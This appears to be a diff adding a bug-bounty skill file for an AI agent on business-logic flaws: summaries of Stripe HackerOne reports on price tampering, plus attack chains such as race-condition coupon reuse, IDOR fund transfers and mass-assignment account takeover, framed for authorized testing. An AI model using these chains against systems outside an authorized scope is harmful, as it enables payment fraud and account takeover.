+    - Root cause: server reads price from request body instead of looking it up by plan_id; classic mass-assignment
+    - Year: 2021 — Stripe-billed SaaS pricing exposure
+
+12. **Stripe — Pay using archived price via mid-flow swap** ([H1 #1328278](https://hackerone.com/reports/1328278))
+    - Subclass: cart-state TOCTOU / cancel-then-deliver (price-version race at checkout)
+    - Payload: merchant archives an old price (e.g., $5 instead of new $50). Buyer starts checkout via the new payment-link, then mid-flow swaps `price_id` back to the archived one. Stripe charges $5; subscription provisions at the new tier
+    - Root cause: payment-link validates "is active", price object validates "exists" — but the join "price.active AND price ∈ link.allowed_prices" is missing
+    - Year: 2021 — Stripe Medium (per-subscription recurring loss)
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-race-condition`** — Every uniqueness/quota check in a logic flow is a race candidate. Chain primitive: Business logic (coupon/credit/promotion) + race condition → coupon redeemed N times in a single TCP packet via Turbo Intruder.
+- **`hunt-idor`** — Logic flows that trust a client-supplied identifier (order_id, tenant_id, beneficiary_id) overlap directly with IDOR. Chain primitive: business-logic step-skip + IDOR on beneficiary_id → transfer funds from victim account.
+- **`hunt-api-misconfig`** — Step-skip and verification-bypass often live next to mass-assignment fields. Chain primitive: business-logic email-verify skip + API mass assignment (`verified:true, role:admin`) → ATO without email control.
+- **`hunt-ato`** — Logic bugs in password reset, email change, and recovery flows are core ATO paths. Chain primitive: business logic (email change accepts without re-auth) + `hunt-ato` Path 2 → silent victim email swap → password reset to attacker mailbox.
+- **`security-arsenal`** — Load the Business-Logic Probe Checklist (negative quantity, decimal overflow, currency swap, step-skip via direct URL nav, state-machine reverse) and the Always-Rejected list to avoid filing self-inflicted bugs.
+- **`triage-validation`** — Apply the 7-Question Gate (especially Q4 "Is this exploitable by an outside attacker without unrealistic preconditions?"): logic bugs need a concrete dollar/PII/state impact, not just "the flow looks weird".
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.